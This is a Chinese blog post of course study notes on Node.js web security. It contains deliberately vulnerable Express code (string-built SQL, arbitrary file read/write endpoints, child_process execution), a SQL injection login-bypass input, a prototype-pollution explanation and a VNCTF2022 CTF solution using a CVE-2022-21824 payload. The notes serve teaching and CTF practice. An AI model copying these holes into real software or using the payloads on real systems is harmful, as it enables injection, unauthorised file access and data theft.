小迪安全v2023 js应用篇
![小迪安全v2023 js应用篇](https://qiniu.meowparty.cn/coder.2023/2024-12-22/Lesson-da057a867e788.jpeg)
小迪安全v2023 js应用篇
大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全,他讲的挺好的。
若有冒犯,麻烦私信移除。
已获得迪の认可,哈哈
![www.zeeklog.com - 小迪安全v2023 js应用篇](https://qiniu.meowparty.cn/coder.2023/2024-12-22/Lesson-da057a867e788.jpeg)
文章目录
先下载安装node.js。
执行js文件:node xx.js
1. express框架
1. 基本使用
npm i express
npm i body-parser 用于处理json,raw,url,text编码数据
npm i mysql 用于操作mysql
cookie-parser 用于解析cookie
multer 用于处理enctype="multipart/form-data"的文件上传数据
t1.js
var express=require('express');
var app=express();
var bodyParser = require('body-parser');
var mysql=require('mysql');
var conn=mysql.createConnection({
host:'localhost',
user:'root',
password:'123456',
database:'user'
});
conn.connect();
// 使用 body-parser 中间件来解析 JSON 和 URL-encoded 的请求体
app.use(bodyParser.json()); // 用于解析 application/json
app.use(bodyParser.urlencoded({ extended: true })); // 用于解析 application/x-www-form-urlencoded
app.post('/login',function(req,res){
var u=req.body.uname;//get请求用query, post请求用body
var p=req.body.password;
conn.query(`select * from t_user where username='${u}' and password=${p}`,function(error,results,fields){
if(error) {
res.send('数据库连接失败<a href=\'/\'>返回登录页面</a>');
//或者res.redirect()
}else{
if(results.length){
res.send('登录成功');
}else{
res.send('登陆失败<a href=\'/\'>返回登录页面</a>');
}
}
});
})
//get路由
app.get('/',function(req,res){
res.sendFile(__dirname+'/'+'index.html');//渲染html
})
var server = app.listen(8081, function () {
var host = server.address().address;//ipv6则显示::
var port = server.address().port;
console.log("应用实例,访问地址为 http://127.0.0.1:%s", port);
})
index.html
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>示例</title>
</head>
<body>
<form method="POST" action="/login" >
<p>用户名:</p><input type="text" name='uname' id='uname'><br>
<p>密码:</p><input type="password" name='password' id='password'><br>
<input type="submit" value="提交">
</form>
</body>
输入用户名1' or 1=1#
密码:1
![www.zeeklog.com - 小迪安全v2023 js应用篇](https://qiniu.meowparty.cn/coder.2023/2024-12-22/Lesson-e1d29693ff9ed.png)
建议使用预编译写法
var sql='select * from t_user where username=? and password=?';
var params=[u,p];
conn.query(sql,params,(err,results)=>{
//...
})
2. 文件操作
npm i fs
var fs=require('fs');
var express=require('express');
var app=express();
app.get('/file',(req,res)=>{//读取目录
var dir=req.query.dir;
console.log(dir);
filemanage(dir);
});
app.get('/read_file',(req,res)=>{//文件读取
var buf =new Buffer.alloc(1024);
var path=req.query.path;
console.log(path);
fs.open(path,'r+',(err,fd)=>{
if(err){
return console.error(err);
}
fs.read(fd,buf,0,buf.length,0,(err,bytes)=>{
if(err) console.log(err);
console.log(bytes+'字节被读取!');
//仅输出读取的字节
if(bytes>0){
console.log(buf.slice(0,bytes).toString());
}
fs.close(fd);
});
})
})
app.get('/write_file',(req,res)=>{//文件写入
var buf =new Buffer.alloc(1024);
var path=req.query.path;
var str1=req.query.str1;
console.log(path);
fs.writeFile(path,str1,{flag:'a+'},(err,fd)=>{
//读写方式打开文件。文件存在则追加,不存在,则创建新文件。
if(err){
return console.error(err);
}
//读取文件
fs.readFile(path,(err,data)=>{
if(err) console.log(err);
console.log('异步读取文件数据:'+data.toString());
});
})
})
function filemanage(dir){
fs.readdir(dir,function(err,files){
console.log(files);
});
}
var server = app.listen(8081, function () {
var host = server.address().address;//ipv6则显示::
var port = server.address().port;
console.log("应用实例,访问地址为 http://127.0.0.1:%s", port);
})
访问/read_dile?path=./uploads/123.txt
![www.zeeklog.com - 小迪安全v2023 js应用篇](https://qiniu.meowparty.cn/coder.2023/2024-12-22/Lesson-be48f0ebb7bde.png)
访问 /write_file?path=./uploads/123.txt&str1=123
![www.zeeklog.com - 小迪安全v2023 js应用篇](https://qiniu.meowparty.cn/coder.2023/2024-12-22/Lesson-d44dcecfe38eb.png)
3. 命令执行
npm i child_process
const rce=require('child_process');
rce.exec('notepad');
rce.spawnSync('calc');
eval('require("child_process").exec("calc");');
2. 原型链污染
如果攻击者控制了一个对象的原型(__proto__
),那么可以影响所有和这个对象来自同一类,父祖类的对象。
![www.zeeklog.com - 小迪安全v2023 js应用篇](https://qiniu.meowparty.cn/coder.2023/2024-12-22/Lesson-983596b81a9ff.png)
参考上图
let cat={jk:999};
cat.__proto__.jk=2;
var a=()=>{//箭头函数,其实跟普通函数差不多
console.log(jk);
}
a.__proto__.__proto__.jk='a';
let zoo={};
console.log(cat.jk);//999
console.log(zoo.jk);//a 未定义会在链上寻找,先查到a,后查到2
a();//a
function b(){
console.log(jk);
}
b();//a
let bbc=new b();//打印a
//{}.__proto__ 是个对象,Object.prototype
//{}.__proto__.__proto__ 是null
//a.__proto__ 是个函数,Function.prototype(所有函数的原型对象)
//a.__proto__.__proto__ 是个对象,Object.prototype
//a.__proto__.__proto__.__proto__ 是null,不能设属性
//bbc.__proto__ 是b函数原型对象(prototype)
//bbc.__proto__.__proto__.__proto__ 是null
//原型链先查Object.prototype上的属性,再查Function.prototype上的属性
3. buuctf VNCTF2022 newcalc0
题目部分源码
const express = require("express"); // 引入 Express 框架
const path = require("path"); // 引入 path 模块,但在此代码段中并未使用
const vm2 = require("vm2"); // 引入 vm2 模块,用于安全地执行 JavaScript 代码
const app = express(); // 创建一个 Express 应用实例
app.use(express.urlencoded({ extended: true })); // 解析 application/x-www-form-urlencoded 类型的请求体数据
app.use(express.json()); // 解析 application/json 类型的请求体数据
app.use(express.static("static")); // 设置静态文件目录为 "static"
// 创建一个 vm2.NodeVM 实例,用于安全地执行 JavaScript 代码
const vm = new vm2.NodeVM({
// 可以在这里配置 vm2 的选项,如限制全局变量、模块等
// 例如:console: 'console', // 允许使用 console 对象
// require: {
// external: true, // 允许 require 外部模块
// builtin: ['fs'] // 允许使用 fs 模块
// }
});
// /eval 路由,用于执行传入的 JavaScript 代码
app.use("/eval", (req, res) => {
const e = req.body.e; // 从请求体中获取要执行的代码字符串
if (!e) {
res.send("wrong?"); // 如果没有提供代码,返回 "wrong?"
return;
}
try {
// 尝试执行代码,并将返回值转换为字符串
// 注意:这种方式执行代码可能存在安全风险,应确保代码是安全的
res.send(vm.run(`(function() { return ${e}; })()`).toString() ?? "no");
} catch (err) {
console.error(err); // 捕获并打印错误
res.send("wrong?"); // 发生错误时返回 "wrong?"
}
});
// /flag 路由,本意可能是检查环境变量或进行某种安全检查
// 但实现方式存在安全隐患,并可能导致敏感信息泄露
app.use("/flag", (req, res) => {
// 通常不建议修改 Object.prototype
// 这里的检查可能是想检测是否有恶意代码修改了 Object.prototype
if (Object.keys(Object.prototype).length > 0) {
// 如果有,尝试清理并返回 FLAG 环境变量(这是不安全的)
// 注意:FLAG 环境变量可能包含敏感信息,不应直接返回给客户端
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
// 这里假设 process.env.FLAG 存在,但通常不推荐这样做
res.send(process.env.FLAG || "FLAG not set");
} else {
// 如果没有,返回 Object.prototype 的键(通常是一个空数组)
res.send(Object.keys(Object.prototype));
}
});
使用cve-2022-21824的payload
console.table([{x:1}], ["__proto__"]);
,之后访问/flag页面得到flag
查看console.table的部分源码
// tabularData 是第一個參數 [{x:1}]
// properties 是第二個參數 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);
for (; i < indexKeyArray.length; i++) {
const item = tabularData[indexKeyArray[i]];
const primitive = item === null ||
(typeof item !== 'function' && typeof item !== 'object');
if (properties === undefined && primitive) {
hasPrimitives = true;
valuesKeyArray[i] = _inspect(item);
} else {
const keys = properties || ObjectKeys(item);
// for of 的時候 key 會是 __proto__
for (const key of keys) {
if (map[key] === undefined)
map[key] = [];
// !ObjectPrototypeHasOwnProperty(item, key) 會成立
if ((primitive && properties) ||
!ObjectPrototypeHasOwnProperty(item, key))
// 因此 map[__proto__][0] 會是空字串
map[key][i] = '';
else
map[key][i] = _inspect(item[key]);
}
}
}
所以透過這個方式,可以污染 Object.prototype[0]
,讓它變成空字串。而空字符串也算数组的元素。
const express = require("express");
con-st app = express();
app.use("/", (req, res) => {
Object.prototype[0]="";
console.log(Object.keys(Object.prototype).length);//输出1
})
app.listen(process.env.PORT || 8888);